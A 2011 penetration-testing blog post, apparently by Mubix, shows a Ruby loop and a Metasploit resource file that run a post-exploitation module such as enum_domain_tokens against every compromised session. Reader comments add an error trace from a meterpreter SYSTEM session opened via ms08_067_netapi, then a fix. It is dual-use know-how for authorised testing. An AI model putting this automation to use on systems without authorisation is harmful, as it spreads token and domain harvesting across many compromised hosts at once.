Search
Social Media - Mubix
Login
« 12 Days of No Starch Press | Main | MSFConsole Prompt Fiddling »
Tuesday
Nov012011

Run POST Modules On All Sessions

Jcran recently blogged about an easy way to run a post module on all sessions:

http://blog.pentestify.com/simple-framework-domain-token-scanner

msf> use post/windows/gather/enum_domain_tokens
msf enum_domain_tokens> irb
framework.sessions.each do |session|
  run_single("set SESSION #{session.first}")
  run_single("run")
  sleep 1
end

You use the POST module, drop to IRB and run those 4 lines, and bam, you win. With resource files we can automate this a bit more and have it so that we do this effortlessly with any post module.

Thinking back to http://blog.metasploit.com/2010/03/automating-metasploit-console.html and my rapid file PSEXEC resource file, we know we can run ruby inside of resource files with the <ruby> tag.

Save the following as runall.rc somewhere where you'll remember:

framework.sessions.each do |session|
  run_single("set SESSION #{session.first}")
  print_status("Running #{active_module.fullname} against session #{session.first}")
  run_single("run")
  sleep 1
end

Then when you want to run a POST module against every session you have you simply do:

msf> use post/windows/gather/enum_domain_tokens
msf enum_domain_tokens> resource runall.rc
[*] Running post/windows/gather/enum_domain_tokens on session 1

Reader Comments (2)

The above code does not work for me, it throws an error,

msf exploit(ms08_067_netapi) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ XP-PRO 192.168.0.79:4444 -> 192.168.0.132:1051

msf exploit(ms08_067_netapi) > pwd
[*] exec: pwd

/root/Tools/Metasploit/Resource_Scripts
msf exploit(ms08_067_netapi) > resource runagainstallsessions.rc
[*] Processing runagainstallsessions.rc for ERB directives.
resource (runagainstallsessions.rc)> use post/windows/gather/enum_domain_tokens
[*] resource (runagainstallsessions.rc)> Ruby Code (122 bytes)
[-] resource (runagainstallsessions.rc)> Ruby Error: NoMethodError undefined method `each' for 1:Fixnum ["/opt/metasploit-4.1.0/msf3/lib/msf/ui/console/driver.rb:316:in `eval'", "/opt/metasploit-4.1.0/msf3/lib/msf/ui/console/driver.rb:316:in `eval'", "/opt/metasploit-4.1.0/msf3/lib/msf/ui/console/driver.rb:316:in `load_resource'", "/opt/metasploit-4.1.0/msf3/lib/msf/ui/console/command_dispatcher/core.rb:193:in `block in cmd_resource'", "/opt/metasploit-4.1.0/msf3/lib/msf/ui/console/command_dispatcher/core.rb:188:in `each'", "/opt/metasploit-4.1.0/msf3/lib/msf/ui/console/command_dispatcher/core.rb:188:in `cmd_resource'", "/opt/metasploit-4.1.0/msf3/lib/rex/ui/text/dispatcher_shell.rb:380:in `run_command'", "/opt/metasploit-4.1.0/msf3/lib/rex/ui/text/dispatcher_shell.rb:342:in `block in run_single'", "/opt/metasploit-4.1.0/msf3/lib/rex/ui/text/dispatcher_shell.rb:336:in `each'", "/opt/metasploit-4.1.0/msf3/lib/rex/ui/text/dispatcher_shell.rb:336:in `run_single'", "/opt/metasploit-4.1.0/msf3/lib/rex/ui/text/shell.rb:199:in `run'", "/opt/metasploit-4.1.0/msf3/msfconsole:130:in `<main>'"]

Can you help?

Regards

Dave

November 6, 2011 | Unregistered CommenterDavid Hardy

Dave - It should be framework.sessions.each {}, not framework.sessions.count.each {}

January 6, 2012 | Unregistered Commenterjcran

PostPost a New Comment

Enter your information below to add a new comment.

My response is on my own website »
Author Email (optional):
Author URL (optional):
Post:
 
Some HTML allowed: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <code> <em> <i> <strike> <strong>